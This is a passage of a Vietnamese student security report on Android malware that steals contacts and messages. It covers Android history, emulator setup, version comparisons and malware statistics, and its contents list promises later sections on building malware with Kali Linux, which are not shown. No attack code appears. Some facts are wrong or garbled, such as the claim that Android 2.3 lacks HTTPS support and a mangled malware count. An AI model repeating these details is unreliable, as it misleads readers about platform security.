bao cao giua ky

66
TRUNG TÂM ĐÀO TẠO QUẢN TRỊ MẠNG VÀ AN NINH MẠNG QUỐC TẾ ATHENA BÁO CÁO GIỮA KỲ ĐỀ TÀI: NGHIÊN CỨU CÁC TROJAN, MALWARE CHO PHÉP ĐÁNH CẮP DỮ LIỆU NHƯ DANH SÁCH CONTACT, TIN NHẮN TRÊN ĐIỆN THOẠI SỬ DỤNG ANDROID VÀ GỬI RA NGOÀI CBHD: Võ Đỗ Thắng SVTH: Nguyễn Đức Thái

Upload: nhoxpo

Post on 21-Jun-2015

72 views

Category:

Education


4 download

DESCRIPTION

Báo cáo Athena

TRANSCRIPT

Page 1: Bao cao giua ky

TRUNG TÂM ĐÀO TẠO QUẢN TRỊ MẠNG

VÀ AN NINH MẠNG QUỐC TẾ ATHENA

BÁO CÁO GIỮA KỲ

ĐỀ TÀI: NGHIÊN CỨU CÁC TROJAN, MALWARE CHO PHÉP ĐÁNH CẮP DỮ LIỆU NHƯ DANH SÁCH CONTACT, TIN NHẮN TRÊN ĐIỆN THOẠI SỬ DỤNG ANDROID VÀ GỬI RA NGOÀI

CBHD: Võ Đỗ Thắng

SVTH: Nguyễn Đức Thái

Tp. HCM Ngày 29 Tháng 06 Năm 2014

Page 2: Bao cao giua ky

Mục Lục

1. Tổng quan về Android.........................................................................................................1

1.1. Khái niệm...........................................................................................................................1

1.2. Đặc điểm.............................................................................................................................1

1.3. Lịch sử phát triển...........................................................................................................2

1.4. Sự ra mắt các phiên bản Android........................................................................3

Cài đặt và nghiên cứu hệ điều hành Android trên môi trường giả lập.................................................3

1.5. Cài đặt hệ điều hành Android 2.3 và 4.x trên môi trường giả lâp......3

1.5.1. Cài đặt Java SE trên máy tính.........................................................................4

1.5.2. Cài đặt Eclipse và Android SDK.....................................................................7

1.5.3. Tạo máy AVD (Android Virtual Device)....................................................9

1.6. So sánh sự khác nhau giữa hai phiên bản Android 2.3 và 4.x..............13

1.6.1. Sự khác nhau về yêu cầu phần cứng cần thiết để cài đặt..............13

1.6.2. Sự khác nhau về giao diện..............................................................................14

1.6.3. Sự khác nhau về tính năng.............................................................................15

1.6.4. Sự khác nhau về giao thức mạng................................................................16

2. Mã độc trên Android...........................................................................................................16

2.1. Định nghĩa:......................................................................................................................16

2.2. Mã độc trong môi trường Android:...................................................................16

2.2.1. Android là một môi trường lý tưởng cho mã độc phát triển.....16

2.2.2. Phân loại mã độc Android..............................................................................16

2.3. Thực trạng........................................................................................................................17

2.4. Malware – tiêu biểu của trên Android................................................................18

2.4.1. Cơ chế hoạt động của Malware.....................................................................19

2.4.2. Mục đích của Malware DroidDream..........................................................19

2.5. Cơ chế bảo mật trong Android............................................................................20

2.5.1. Tính bảo mật trong Android..........................................................................20

2.5.2. Cơ chế Permission:.............................................................................................20

2.5.3. Google Play:............................................................................................................20

3. Cài đặt một số chương trình có mã độc trên Android...................................20

3.1. iCalendar............................................................................................................................20

3.1.1. Các công cụ cần thiết:........................................................................................20

3.1.2. Các bước thực hiện:............................................................................................20

3.2. iMatch..................................................................................................................................26

3.2.1. Các công cụ cần thiết:........................................................................................26

3.2.2. Các bước thực hiện:............................................................................................26

4. Nghiên cứu Kali Linux, các cơ chế tạo mã độc trên Kali Linux để xâm nhập vào máy Android..............................................................................................................28

Page 3: Bao cao giua ky

4.1. Tổng quan........................................................................................................................28

4.2. Cải tiến của Kali Linux so với Backtrack.......................................................28

4.3. Cài đặt Kali Linux.........................................................................................................29

4.3.1. Chuẩn bị....................................................................................................................29

4.3.2. Cài đặt........................................................................................................................29

4.4. Tạo mã độc trên Kali Linux để xâm nhập Android..................................42

Page 4: Bao cao giua ky

CBHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN ĐỨC THÁI

1. Tổng quan về Android

1.1. Khái niệm.

Android là một hệ điều hành mã nguồn mở xây dựng trên nền tảng Linux, chủ yếu sử dụng trên các thiết bị thông minh như điện thoại di động, máy tính bảng (và hiện nay là cả các đầu phát HD, smart TV …). Trước đây, Android được phát triển bởi công ty liên hợp Android sau đó được Google mua lại vào năm 2005. Theo ComScore, đến đầu tháng 3 năm 2014, Android chiếm 51.7% thị phần hệ điều hành trên smartphone tại Mỹ (iOS chiếm 41.6%), là hệ điều hành số một trên điện thoại thông minh.

Android ra mắt vào năm 2007 cùng với sự tuyên bố thành lập Liên minh thiết bị cầm tay mở gồm 78 công ty phần cứng, phần mềm và viễn thông với mục tiêu đẩy mạnh các tiêu chuẩn mở cho các thiết bị di động. Hệ điều hành Android bao gồm 12 triệu dòng mã: 3 triệu dòng XML, 2.8 triều dòng mã C, 1.75 triệu dòng mã C++ và 2.1 triệu dòng mã Java. Thể hiện tính mở của Android, Google công bố hầu hết các mã nguôn của Android theo bản cấp phép Apache.

1.2. Đặc điểm. Tính mở: Ngay từ ban đầu, Android ra mắt là một hệ điều hành

mã nguôn mở, được xây dựng trên nhân Linux mở sử dụng một máy ảo mà đã được tối ưu hóa bộ nhớ và phần cứng với môi trường di động; nó có thể được mở rộng để kết hợp tự do giữa các công nghệ nổi trội. Tính mở hoàn toàn của Android cho phép người phát triển tạo các ứng dụng hấp dẫn với đầy đủ các điểm mạnh của các thiết bị cầm tay hiện có. Hơn nữa, một ứng dụng trong Android có thể gọi tới bất kỳ một chức năng lõi nào như tạo cuộc gọi, gửi tinh nhắn hay sử dụng máy ảnh… cho phép người phát triển tạo phần mềm phong phú hơn, dễ dàng liên kết các tính năng cho người dùng. Những nền tảng ưu điểm này sẽ tiếp tục phát triển bởi cộng đồng phát triển để tạo ra các ứng di động hoàn hảo.

Tính ngang bằng của ứng dụng: Với Android, không có sự khác nhau giữa các ứng dụng điện thoại cơ bản với ứng dụng của bên thứ ba. Chúng được xây dựng để truy cập như nhau tới một loạt các ứng dụng và dịch vụ của điện thoại. Với các thiết bị được xây dựng trên nền tảng Android, người dùng có thể đáp ứng đầy đủ các nhu cầu mà họ thích. Chúng ta có thể đổi màn hình nền, kiểu gọi điện thoại, hay

Trang 1

Page 5: Bao cao giua ky

CBHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN ĐỨC THÁI

bất kể ứng dụng nào. Chúng ta thậm chí có thể hướng dẫn điện thoại chỉ xem những ảnh mình thích.

Phá vỡ rào cản phát triển ứng dụng: Android phá vỡ rào cản để tạo ứng dụng mới và cải tiến. Một người phát triển có thể kết hợp thông tin từ trang web với dữ liệu trên điện thoại cá nhân – chẳng hạn như danh bạ, lịch hay vị trí trên bản đồ – để cung cấp chính xác hơn cho người khác. Với Android, người phát triển có thể xây dựng một ứng dụng mà cho phép người dùng xem vị trí của những người bạn và thông báo khi họ đang ở vị trí lân cận. Tất cả được lập trình dễ dàng thông qua sự hỗ trợ của MapView và dịch vụ định vị toàn cầu GPS.

Xây dựng ứng dụng dễ dàng và nhanh chóng: Android cung cấp bộ thư viện giao diện lập trình ứng dụng đồ sộ và các công cụ để viết các ứng dụng phức tạp. Ví dụ, Android có thể cho phép người phát triển biết được vị trí của thiết bị và cho phép các thiết bị giao tiếp với nhau để có thể tạo nên mạng xã hội chia sẻ ngang hàng rộng khắp. Thêm nữa, Android còn bao gồm một bộ công cụ đầy đủ giúp cho việc phát triển trở nên dễ dàng.1.3. Lịch sử phát triển

Tháng 10 năm 2003, Tổng công ty Android (Android, Inc.) được thành lập tại Palo Alto, California bởi Andy Rubin (đồng sáng lập công ty Danger), Rich Miner (đồng sáng lập Tổng công ty Viễn thông Wildfire), Nick Sears (từng là Phó giám đốc T-Mobile) và Chris White (trưởng thiết kế và giao diện tại WebTV) để phát triển, theo lời của Rubin, "các thiết bị di động thông minh hơn có thể biết được vị trí và sở thích của người dùng". Mặc dù các nhân viên đều là những người có tiếng tăm nhưng công ty sau khi thành lập lại hoạt động một cách âm thầm mà chỉ tiết lộ rằng họ đang làm phần mềm cho điện thoại di động. Không lâu sau đó (cùng trong năm 2003) công ty lâm vào tình trạng cạn kiệt tài chính.

Ngày 17 tháng 8 năm 2005, Google mua lại Tổng công ty Android biến nó thành một bộ phận trực thuộc của mình đồng thời giữ cũng giữ lại các nhân viên chủ chốt gồm Rubin, Miner và While. Hành động này dẫn đến nhiều tin đồn cho rằng Google dự tính tham gia vào thị trường điện thoại di động. Tại Google, nhóm do Rubin đứng đầu đã phát triển một nền tảng thiết bị di động phát triển trên nền nhân Linux được Google quảng bá đến các nhà sản xuất điện thoại di động như là một hệ thống uyển chuyển và có khả năng nâng cấp. Google đã liên hệ với hàng loạt hãng phần cứng cũng như đối

Trang 2

Page 6: Bao cao giua ky

CBHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN ĐỨC THÁI

tác phần mềm, bắn tin cho các nhà mạng rằng họ sẵn sàng hợp tác với các cấp độ khác nhau.

Ngày 5 tháng 11 năm 2007, Liên minh thiết bị cầm tay mở (Open Handset Alliance), một hiệp hội bao gồm nhiều công ty với cả những gã khổng lồ như Texas Instruments, Tập đoàn Broadcom, Google, HTC, Intel, LG, Tập đoàn Marvell Technology, Motorola, Nvidia, Qualcomm, Samsung Electronics, Sprint Nextel và T-Mobile được thành lập với mục đích phát triển các tiêu chuẩn mở cho thiết bị di động. Cùng ngày, Android cũng được ra mắt với vai trò là sản phẩm đầu tiên của Liên minh, một nền tảng thiết bị di động được xây dựng trên nhân Linux phiên bản 2.6. Chiếc điện thoại chạy Android đầu tiên được bán ra là HTC G1, phát hành ngày 22 tháng 10 năm 2008. Biểu trưng của hệ điều hành Android mới là một con rôbốt màu xanh lá cây do hãng thiết kế Irina Blok tại California vẽ.

Từ năm 2008, Android đã trải qua nhiều lần cập nhật để dần dần cải tiến hệ điều hành, bổ sung các tính năng mới và sửa các lỗi trong những lần phát hành trước. Mỗi bản nâng cấp được đặt tên lần lượt theo thứ tự bảng chữ cái, theo tên của một món ăn tráng miệng; ví dụ như phiên bản 1.5 Cupcake (bánh bông lan nhỏ có kem) tiếp nối bằng phiên bản 1.6 Donut (bánh vòng). Phiên bản mới nhất hiện nay là Android 4.4 và Android L (dành cho nhà phát triển) được phát hành vào năm 2014.

1.4. Sự ra mắt các phiên bản Android Android alpha: là phiên bản nội bộ trong Google và OHA được

nghiên cứu và phát triển trước khi Android beta ra mắt, với các phiên bản khác nhau là "Astro Boy", "Bender" và "R2-D2".

Android beta: được phát hành vào ngày 5 tháng 7 năm 2007. Tiếp theo đó bộ phát triển phần mềm (SDK) ra mắt ngày 12 tháng 11 năm 2007.

Android 1.0 (API mức độ 1): Kỉ nguyên Android chính thức khởi động vào ngày 22 tháng 10 năm 2008, khi mà chiếc điện thoại T-Mobile G1 chính thức được bán ra ở Mỹ. Đến ngày 23 tháng 9 năm 2008, Google chính thức bán ra phiên bản thương mại của phần mềm.

Android 1.1 (API mức độ 2): phát hành ngày 9 tháng 2 năm 2009. Đây là bản cập nhật đầu tiên giúp giải quyết lỗi, thay đổi Android API và thêm vào một số tính năng.

Trang 3

Page 7: Bao cao giua ky

CBHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN ĐỨC THÁI

Android 1.5 (API mức độ 3, phát hành ngày 27 tháng 4 năm 2009) và Android 1.6 (API mức độ 4, phát hành ngày 15 tháng 9 năm 2009): Bản cập nhật bao gồm một số tính năng mới và sử đổi giao diện người dùng UI.

Android 2.x (2.0-2.1 API mức độ 7, 2.2 API mức độ 8, 2.3-2.3.2 API mức độ 9, 2.3.3-2.3.7 API mức độ 10): phát hành từ tháng 10 năm 2009 đến tháng 2 năm 2011 với nhiều tính năng mới được thêm vào, thay đổi giao diện người dùng cũng như nâng cao khả năng bảo mật.

Android 3.x (3.1 API mức độ 12, 3.2 API mức độ 13) phát hành từ tháng 5 đến tháng 7 năm 2011 với tên gọi Honeycomb là phiên bản dành riêng cho máy tính bảng. Mặc dù không để lại nhiều dấu ấn đắc biệt trên thị trường nhưng phiên bản này là nền tảng cho Android 4.0.

Android 4.x (từ API mức độ 15 đến API mức độ 19) phát hành từ tháng 12 năm 2011 và tiếp tục đến nay. Được xem là sự thay đổi lớn trong lịch sử phát triển của Android với nhiều cải tiến về mặt công nghệ cung như tính năng. Đặc biệt phiên bản này là sự hợp nhất cho hệ điều hành smartphone và máy tính bảng.

Android 5 (API mức độ 20): phát hành tháng 7 năm 2014 là phiên bản cho nhà phát triển.

Theo sự kiên GOOGLE I/O năm 2013 đã thống kê rằng thị phần của hai nền tảng Android 2.3 va Android 4.x vẫn được ưa chuộng nhất (38.5% và 33.0%) vì thế tiếp theo chúng ta chủ yếu tìm hiểu 2 phiên bản này.

Cài đặt và nghiên cứu hệ điều hành Android trên môi trường giả lập.

1.5. Cài đặt hệ điều hành Android 2.3 và 4.x trên môi trường giả lâp.

1.5.1. Cài đặt Java SE trên máy tính.Để cài đặt Android trên môi trường giả lập trước tiên cần cài đặt

môi trường Java For Developers để chạy được Eclipse và Android SDK. Ở đây mình sử dụng hệ điều hành Windows 8 64-bit (các phiên bản Windows khác đều tương tự). Đầu tiên bạn cần dowload bộ cài đặt Java SE tại link sau http://www.oracle.com/technetwork/java/javase/downloads/index.html

Trang 4

Page 8: Bao cao giua ky

CBHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN ĐỨC THÁI

Hinh 1. Download Java SE

Chọn Jaca Platform (JDK) 8u5 để chuyển sang trang tiếp theo.

Hình 1. Chọn phiên bản Java.

Chọn phiên bản thích hợp với hệ điều hành để tải về. Ở đây mình chọn bản cho Windows 64-bit.

Chạy bộ cài đặt vừa được tải về ta được như hình sau

Trang 5

Page 9: Bao cao giua ky

CBHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN ĐỨC THÁI

Hình 2. Cài đặt Java.

Chọn Next để tiếp tục

Trang 6

Page 10: Bao cao giua ky

CBHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN ĐỨC THÁI

Hình 3. Cài đặt Java tiếp.

Tiếp tục chọn Next để cài đặt và đợi tiến trình hoàn tất.

Sau khi cài xong, các bạn kiểm tra lại bộ JDK đã được cài đặt thành công bằng cách vào cmd gõ lệnh “java”. Nếu màn hình hiện ra như sau thì bạn đã cài đặt thành công:

Trang 7

Page 11: Bao cao giua ky

CBHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN ĐỨC THÁI

Hình 4. Kiểm tra Java đã được cài đặt.

1.5.2. Cài đặt Eclipse và Android SDK

Trước tiên download bộ ADT Bundle for Windows gồm Eclipse và Android SDK được tích hợp sẵn tại địa chỉ: http://developer.android.com/sdk/index.html

Trang 8

Page 12: Bao cao giua ky

CBHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN ĐỨC THÁI

Hình 5. Download Android SDK.

Chọn dowload để sang trang tiếp theo

Hình 6. Chọn phiên bản Android SDK.

Chọn phiên bản thích hợp va tiến hành dowload (như hình). Sau khi tải xong tiến hành giải nén ta được các file như hình:

Hình 7. Giải nén file Android SDK tải về.

Để cài đặt Android SDK các bạn có 2 cách:

- Cách 1: Các bạn click chuột vào biểu tượng SDK Manager ở ngoài và tiến hành cài đặt.

- Cách 2: Các bạn khởi chạy Eclipse lên. Rồi vào mục Android SDK Manager

Trang 9

Page 13: Bao cao giua ky

CBHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN ĐỨC THÁI

Hình 8. Khởi động Android SDK Manager.

Sẽ xuất hiện 1 cửa sổ mới như sau :

Hình 9. Chọn và cài đặt các gói API cần thiết.

Công việc tiếp theo là các bạn chỉ cần tích chọn các phần API cần cài rồi click vào nút Install packages ở góc dưới bên phải và chờ cho nó download và cài đặt là xong.

1.5.3.Tạo máy AVD (Android Virtual Device).

Sau khi khởi chạy xong Eclipse. Bạn vào : Windows -> Android Virtual Device Manager.

Trang 10

Page 14: Bao cao giua ky

CBHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN ĐỨC THÁI

Hoặc các bạn cũng có thể click ngay vào biểu tượng AVD trên menu của Eclipse :

Hình 10. Khởi động Android Virtual Device Manager.

Click vào New để tạo mới :

Hình 11. Tạo mới máy ảo Android.

Cửa sổ mới mở ra, các bạn điền đầy đủ các thông số vào theo yêu cầu :

Trang 11

Page 15: Bao cao giua ky

CBHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN ĐỨC THÁI

Hình 12. Thông số cho máy ao Android.

AVD Name: Các bạn chỉ được sử dụng cách ký tự : A -> Z, a -> z, và “., -, _” mà thôi.

Target: Bạn chọn phiên bản Android để test.

SD Card: Là dung lượng bộ nhớ ảo của thẻ SD.

Và một số thông tin khác…

Các bạn click OK để hoàn thành tạo mới một AVD.

Bây giờ bạn vào phần Android Virtual Device Manager như ban đầu thì bạn sẽ thấy tên máy ảo mới mình vừa tạo rồi.

Nhấn Start để khởi chạy máy ảo (bạn có thể sẽ phải chờ một khoảng thời gian để máy ảo khởi chạy):

Trang 12

Page 16: Bao cao giua ky

CBHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN ĐỨC THÁI

Hình 13. Khởi động máy ảo Android.

Và đây là giao diện cuối cùng :

Trang 13

Page 17: Bao cao giua ky

CBHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN ĐỨC THÁI

Hình 14. Máy ảo Android khởi động hoàn tất.

Thực hiện tương tự để tạo Android phiên bản 4.x.

1.6. So sánh sự khác nhau giữa hai phiên bản Android 2.3 và 4.x.

1.6.1. Sự khác nhau về yêu cầu phần cứng cần thiết để cài đặt.

Android 2.3 Android 4x

Cần ít nhất 128 MB bộ nhớ có sẵn cho Kernel và cho không gian người sử dụng

Cần ít nhất 340 MB bộ nhớ có sẵn cho kernel và cho không gian người sử dụng

Dung lượng Ram tối thiểu cần thiết là 150MB

Dung lượng Ram tối thiểu cần thiết là 350 MB

Trang 14

Page 18: Bao cao giua ky

CBHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN ĐỨC THÁI

Trang 15

Page 19: Bao cao giua ky

CBHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN ĐỨC THÁI

Màn hình:

- Màn hình phải có kích cỡ ít nhất 2,5 inch

- Mật độ phải được ít nhất 100 dpi

- Tỉ lệ màn hình từ 1.333 (4:3) đến 1,779 (16:9)

- Công nghệ màn hình được sử dụng là công nghệ “ Square pixels”

Màn hình:

- Màn hình phải có kích cỡ ít nhất 426x320

- Mật độ phải được ít nhất 100 dpi

- Tỉ lệ màn hình từ 1.333 (4:3) đến 1,85 (16:9)

Yêu cầu có các phím vậy lý Không yêu cầu có có phím vật lý

Các API Android bao gồm trình quản lý download các ứng dụng có thể sử dụng để tải dữ liệu.Trình quản lí download phải có khả năng tải tập tin có dung lượng ít nhất 55 MB

Các API Android bao gồm trình quản lý download các ứng dụng có thể sử dụng để tải dữ liệu.Trình quản lí download phải có khả năng tải tập tin có dung lượng ít nhất 100 MB

1.6.2. Sự khác nhau về giao diện.

Giao diện người dùng của Android dựa trên nguyên tắc tác động trực tiếp, sử dụng cảm ứng chạm tương tự như những động tác ngoài đời thực như vuốt, chạm, kéo dãn và thu lại để xử lý các đối tượng trên màn hình. Sự phản ứng với tác động của người dùng diễn ra gần như ngay lập tức, nhằm tạo ra giao diện cảm ứng mượt mà, thường dùng tính năng rung của thiết bị để tạo phản hồi rung cho người dùng. Những thiết bị phần cứng bên trong như gia tốc kế, con quay hồi chuyển và cảm biến khoảng cách được một số ứng dụng sử dụng để phản hồi một số hành động khác của người dùng, ví dụ như điều chỉnh màn hình từ chế độ hiển thị dọc sang chế độ hiển thị ngang tùy theo vị trí của thiết bị, hoặc cho phép người dùng lái xe đua bằng xoay thiết bị, giống như Các thiết bị Android sau khi khởi động sẽ hiển thị màn hình chính, điểm khởi đầu với các thông tin chính trên thiết bị, tương tự như khái niệm desktop (bàn làm việc) trên máy tính để bàn. Màn hính chính Android thường gồm

Trang 16

Page 20: Bao cao giua ky

CBHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN ĐỨC THÁI

nhiều biểu tượng (icon) và tiện ích (widget); biểu tượng ứng dụng sẽ mở ứng dụng tương ứng, còn tiện ích hiển thị những nội dung sống động, cập nhật tự động như dự báo thời tiết, hộp thư của người dùng, hoặc những mẩu tin thời sự ngay trên màn hình chính. Màn hình chính có thể gồm nhiều trang xem được bằng cách vuốt ra trước hoặc sau, mặc dù giao diện màn hình chính của Android có thể tùy chỉnh ở mức cao, cho phép người dùng tự do sắp đặt hình dáng cũng như hành vi của thiết bị theo sở thích.

Những ứng dụng do các hãng thứ ba có trên Google Play và các kho ứng dụng khác còn cho phép người dùng thay đổi "chủ đề" của màn hình chính, thậm chí bắt chước hình dáng của hệ điều hành khác như Windows Phone chẳng hạn. Phần lớn những nhà sản xuất, và một số nhà mạng, thực hiện thay đổi hình dáng và hành vi của các thiết bị Android của họ để phân biệt với các hãng cạnh tranh. Ở phía trên cùng màn hình là thanh trạng thái, hiển thị thông tin về thiết bị và tình trạng kết nối. Thanh trạng thái này có thể "kéo" xuống để xem màn hình thông báo gồm thông tin quan trọng hoặc cập nhật của các ứng dụng, như email hay tin nhắn SMS mới nhận, mà không làm gián đoạn hoặc khiến người dùng cảm thấy bất tiện. Trong các phiên bản đời đầu, người dùng có thể nhấn vào thông báo để mở ra ứng dụng tương ứng, về sau này các thông tin cập nhật được bổ sung theo tính năng, như có khả năng lập tức gọi ngược lại khi có cuộc gọi nhỡ mà không cần phải mở ứng dụng gọi điện ra. Thông báo sẽ luôn nằm đó cho đến khi người dùng đã đọc hoặc xóa nó đi.

Android 2.3 Android 4x

Giao diện đơn giản Giao diện tinh tế hơn, trong suốt và đẹp mắt hơn

Chỉ hỗ trợ phím ảo là phím Home

Hỗ trợ các phím ảo: Home, Back, Zoom

Không có widget menu Có Widget menu giúp tìm nhanh thông tin mà không cần mở ứng dụng

1.6.3. Sự khác nhau về tính năng. Trang 17

Page 21: Bao cao giua ky

CBHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN ĐỨC THÁI

Android 2.3 Android 4x

Thiết kế tối ưu hóa cho Smartphone

Thiết kế tối ưu hóa cho Smartphone và Tablet

Chỉ có thể xóa tất các các thông báo cùng lúc trên trình quản lý

Chỉ có thể xóa riêng rẽ các thông báo cùng lúc trên trình quản lý

Trang 18

Page 22: Bao cao giua ky

CBHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN ĐỨC THÁI

Chỉ có thể trả lời, ngắt cuộc gọi khi màn hình bị khóa

Có thể thực hiện thêm 1 số tính năng khi màn hình bị khoái ngoài trả lời , ngắt cuộc gọi như gửi tin nhắn

Không có tính năng mở khóa màn hình nhận diện khuôn mặt

Có tính năng mở khóa màn hình nhận diện khuôn mặt

Không hỗ trợ chỉnh sửa hình ảnh

Hỗ trợ chỉnh sửa hình ảnh , tự động nhận diện được tất cả các camera trên thiết bị

1.6.4. Sự khác nhau về giao thức mạng.

Android 2.3 Android 4x

Không hỗ trợ giao thức https Hỗ trợ giao thức https

2. Mã độc trên Android.2.1. Định nghĩa:

Mã độc là một đoạn code được đưa vào phần mềm nhằm thay đổi các thực thi của hệ điều hành hoặc các chương trình bảo vệ máy tính mà không cần sự cho phép của người sử dụng. Bằng cách này, phần mềm có chứa mã độc sẽ:

Phá hoại hệ thống máy tính như xóa, sửa, làm hỏng file, dữ liệu….

Phát tán thư rác. Lợi dụng máy tính của bạn làm công cụ tấn công các hệ thống

mạng máy tính khác. Đánh cắp thông tin: thông tin về địa chỉ mail, thông tin cá

nhân, tài khoản ngân hàng, thẻ tín dụng,….2.2. Mã độc trong môi trường Android:2.2.1. Android là một môi trường lý

tưởng cho mã độc phát triển.

Trang 19

Page 23: Bao cao giua ky

CBHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN ĐỨC THÁI

Phần lớn các smartphone đều hỗ trợ các ứng dụng email, internet baking…Sử dụng các ứng dụng này đồng nghĩa với việc cung cấp thông tin cá nhân.

Android hiện tại giữ vị trí số một trong các hệ điều hành dành cho smartphone và máy tính bảng.

Android là một hệ điều hành mã nguồn mở.2.2.2. Phân loại mã độc Android.

Có nhiều cách phân loại khac nhau như: Troy Vennon dựa vào cách hoạt động lây nhiễm của mã độc đã chia ra làm bốn loại, K.H.Khan & M.N.Tahir phân loai mã độc làm 6 nhóm. Theo trang web forenics chuyên nghiên cứu về mã độc dựa vào mục tiêu của mã độc để chia ra làm 9 họ:

Đánh cấp thông tin cá nhân 51,3%

Gửi tin nhắn trái phép (IMEL,..) 30,1%

Botnet(spam, thư rác,..) 23,5%

Truy cập Root 18,3%

Tải từ Google-Play 11,3%

Cài đặt các ứng dụng khác 10,4%

Đánh cấp định vị của người dùng 8,7%

Cài đặt các ứng dụng hỗ trợ hacker 7,8%

Trojans (tiếp cận các dịch vụ ngân hàng trực tiếp)

3,5%

2.3. Thực trạng

Theo thống kê được thực hiện dựa trên số liệu từ hệ thống giám sát virút của Bkav, chỉ trong năm tháng đầu năm 2014, phần mềm

Trang 20

Page 24: Bao cao giua ky

CBHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN ĐỨC THÁI

bảo vệ smartphone Bkav Mobile Security đã cập nhật 621.000 mã độc mới xuất hiện, vượt xa số lượng 528.000 của cả năm 2013. Đặc biệt, mỗi ngày có 262.000 điện thoại bị nhiễm loại mã độc gửi tin nhắn SMS đến đầu số tính phí. “Đây là các đầu số thu phí 15.000 đồng/tin nhắn, tính ra mỗi ngày người sử dụng VN bị “móc túi” số tiền khổng lồ lên tới hơn 3,9 tỉ đồng”, báo cáo của Bkav kết luận. Thực tế, số tiền các loại virút “móc túi” người dùng smartphone có thể hơn gấp nhiều lần vì có rất nhiều điện thoại bị nhiễm virút trong một thời gian dài nhưng chủ nhân không nhận biết và cũng không có biện pháp kiểm tra, theo dõi.

Một báo cáo mới vừa được công bố, cho thấy mức độ nghiêm trọng của mã độc trên Android - hệ điều hành di động phổ biến nhất thế giới có đến 99,9% số lượng mã độc mới được phát hiện trong quý I năm 2013 được thiết kế để nhắm đến nền tảng Android. Đây là một con số báo động về tình trạng mã độc trên nền tảng di động của Google vừa được hãng bảo mật Kaspersky Lab công bố.

Phần lớn trong số các loại mã độc trên Android là virus trojan, một dạng virus chủ yếu để sử dụng để đánh cắp tiền của người dùng bị lây nhiễm bằng cách gửi đến họ những tin nhắn lừa đảo, đọc lén các thông tin cần thiết và gửi báo cáo đến nơi khác, ăn cắp thông tin như là mật khẩu và số thẻ tín dụng, cài đặt lén các phần mềm chưa được cho phép, ….. Loại mã độc này chiếm đến 63% tổng số các loại mã độc mới được phát tán trên Android trong quý I năm 2013.

Các nhà nghiên cứu bảo mật của Kaspersky cũng báo cáo một sự bùng nồ về số lượng các mã độc hại trên di động. Theo đó chỉ tính riêng trong 3 tháng đầu năm 2013, Kaspersky đã phát hiện được số lượng mã độc mới trên các nền tảng di động bằng tổng số lượng mã độc được phát hiện trong cả năm 2012 mà Android là nền tảng chịu ảnh hưởng nặng nhất.

Với việc Android tiếp tục trở thành “mồi ngon” của hacker trong việc phát tán các loại mã độc, có vẻ như Android đang dần trở thành một “Windows thứ 2” trên lĩnh vực bảo mật, khi sự phổ biến của nền tảng này đang thu hút tối đa sự chú ý của các tin tặc, đồng thời việc quản lý các ứng dụng cho Android một cách lỏng lẻo càng tạo điều kiện cho mã độc được phát tán dễ dàng hơn trên nền tảng di động này.

Bên cạnh lĩnh vực mã độc trên nền tảng di động, báo cáo về tình trạng bảo mật trong quý 1/2013 của Kaspersky cũng cho biết 91%

Trang 21

Page 25: Bao cao giua ky

CBHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN ĐỨC THÁI

các vụ phát tán mã độc chủ yếu dựa vào việc phát tán các đường link trang web có chứa mã độc. Các đường link có chứa mã độc này chủ yếu được phát tán thông qua email và trên các mạng xã hội như Facebook, Twitter… Đây được xem là biện pháp được yêu thích nhất hiện nay của hacker.

Con số cụ thể các loại mã độc (bao gồm cả trên nền tảng di động và các nền tảng khác) đã được Kaspersky phát hiện và vô hiệu hóa trong quý I năm 2013 là 1.345.570..352 mã độc (hơn 1 tỉ mã độc). Trong đó có hơn 60% các loại mã độc phát tán từ 3 quốc giá: Mĩ (25%), Nga (19%) và Hà Lan (14%).

2.4. Malware – tiêu biểu của trên Android.

Đã không còn chỉ là mối lo ngại với người sử dụng máy tính, hiện nay Malware đã và đang tấn công mạnh mẽ đến các hệ điều hành dành cho smartphone, đặc biệt là Android.

Malware (phần mềm ác tính) viết tắt của cụm từ Malicious Sofware, là một phần mềm máy tính được thiết kế với mục đích thâm nhập hoặc gây hỏng hóc máy tính mà người sử dụng không hề hay biết. Người viết nên nó ban đầu chỉ tập trung vào máy tính, nhất là Windows khi nó chiếm đến 90% tổng số Malware xuất hiện trên các nền tảng, bên cạnh đó là các OS khác như Linux, Chrome OS, MacOs... nhưng không đáng kể. Tuy nhiên giờ đây khi smartphone đang ngày càng phát triển và phổ biến dần thay thế máy tính từ các công việc soạn thảo văn bản, giải trí đến giao dịch ngân hàng thì nó trở thành mục tiêu tấn công của Malware.

Theo thống kê của các hãng bảo mật trên thế giới thì hiện các Malware hiện nay mới chỉ dừng lại ở mức độ xâm nhập và ăn cắp thông tin của người dùng và nó chưa có cơ chế lây lan. Theo các kết quả trên thì Malware trên Smartphone hiện nay về cách thức hoạt động giống như một phần mềm gián điệp (Trojan), phần lớn nhắm vào dịch vụ Mobile Banking trên Smartphone để lấy cắp thông tin, các thao tác xác nhận... thông qua việc sử dụng SMS Spy, tức là theo dõi tin nhắn SMS khi bạn thực hiện giao dịch với ngân hàng. Bên cạnh đó là nhằm vào các cuộc gọi thực hiện trên máy bạn, tắt một số dịch vụ để dễ kiểm soát.

2.4.1. Cơ chế hoạt động của Malware.

Trang 22

Page 26: Bao cao giua ky

CBHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN ĐỨC THÁI

